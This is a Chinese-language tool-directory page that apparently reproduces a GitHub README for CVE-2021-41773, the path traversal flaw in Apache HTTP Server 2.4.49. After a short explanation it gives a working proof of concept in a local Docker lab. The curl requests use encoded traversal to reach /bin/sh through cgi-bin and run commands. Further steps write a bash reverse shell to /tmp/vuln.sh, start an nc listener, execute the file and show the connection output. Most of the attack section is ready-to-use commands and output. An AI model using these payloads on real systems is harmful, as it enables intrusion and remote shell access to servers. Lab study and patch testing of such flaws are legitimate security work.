Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-41773 — CVE 标识符为 CVE-2021-41773 的第一个漏洞是存在于 Apache HTTP Server 2.4.49 中的路径遍历缺陷。 | Kitploit
工具/GitHubGitHub/ludovicpatho/cve-2021-41773
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育远程访问工具
GitHubludovicpatho/cve-2021-41773

CVE-2021-41773

CVE 标识符为 CVE-2021-41773 的第一个漏洞是存在于 Apache HTTP Server 2.4.49 中的路径遍历缺陷。

查看仓库
43423年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-41773

🐛 Apache HTTP Server 2.4.49 中的路径遍历和文件泄露漏洞

在 Apache HTTP Server 2.4.49 的路径规范化更改中发现了一个缺陷。攻击者可以利用路径遍历攻击将 URL 映射到 Alias 类指令所配置目录之外的文件。

如果这些目录之外的文件没有受到通常默认配置 "require all denied" 的保护,这些请求可能成功。如果 CGI 脚本也在这些别名路径上启用,这可能导致远程代码执行。

该问题已知在野外被利用。

此问题仅影响 Apache 2.4.49,不影响更早版本。

来源

路径遍历

概述

路径遍历攻击(也称为目录遍历)旨在访问存储在 Web 根文件夹之外的文件和目录。通过操纵引用文件的变量(使用“点-点-斜杠(../)”序列及其变体)或使用绝对文件路径,可能访问文件系统上的任意文件和目录,包括应用程序源代码、配置文件和关键系统文件。需要注意的是,对文件的访问受系统操作访问控制限制(例如在 Microsoft Windows 操作系统中锁定或正在使用的文件)。

此攻击也称为“点-点-斜杠”、“目录遍历”、“目录爬升”和“回溯”。

概念验证

搭建 PoC 环境

root@kitploit:~
$ docker-compose build
$ docker-compose up

确认其工作

root@kitploit:~
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>

漏洞利用

受害者:localhost:1234
攻击者:192.168.1.12

根据文档,这是一个允许我们在远程执行代码(RCE)的缺陷。
我们可以通过使用 cgi-bin 文件夹进行 curl 来利用它。

root@kitploit:~
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
  • 1. RCE
    让我们看看是否真的有命令执行权限,例如 id:

    root@kitploit:~
    $ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
    uid=1(daemon) gid=1(daemon) groups=1(daemon)
    
  • 2. 反向 Shell
    我们将通过在受害者的服务器上创建一个 bash 文件来测试反向 shell。
    以 PayloadsAllTheThings 仓库中的 bash 反向 shell 为例。

    示例如下:
    bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

    让我们在受害机器的 /tmp/ 文件夹中创建文件 vuln.sh!
    该文件将包含我们的反向 shell,我们可以远程运行它。它将连接到我们本地机器的 44 端口。

    root@kitploit:~
    $  curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
    

    你可以用 cat 命令检查文件内容

    root@kitploit:~
    $ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
    #!/bin/bash
    bash -i >& /dev/tcp/192.168.1.12/44 0>&1
    

参考

  • https://httpd.apache.org/security/vulnerabilities_24.html
  • https://github.com/apache/httpd/commit/98246aa96079dad5f7b20521bbc0142a04f1c5e7
下载工具
  • 3. 使用 ncat 创建监听器
    让我们在本地机器上创建监听器。

    root@kitploit:~
    $ nc -lvnp 44
    

    剩下的就是执行远程文件。

    root@kitploit:~
    $ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
    text/plain; echo; bash /tmp/vuln.sh'
    

    响应:

    root@kitploit:~
    Ncat: Version 7.91 ( https://nmap.org/ncat )
    Ncat: Listening on :::44
    Ncat: Listening on 0.0.0.0:44
    Ncat: Connection from 172.19.32.1.
    Ncat: Connection from 172.19.32.1:58963.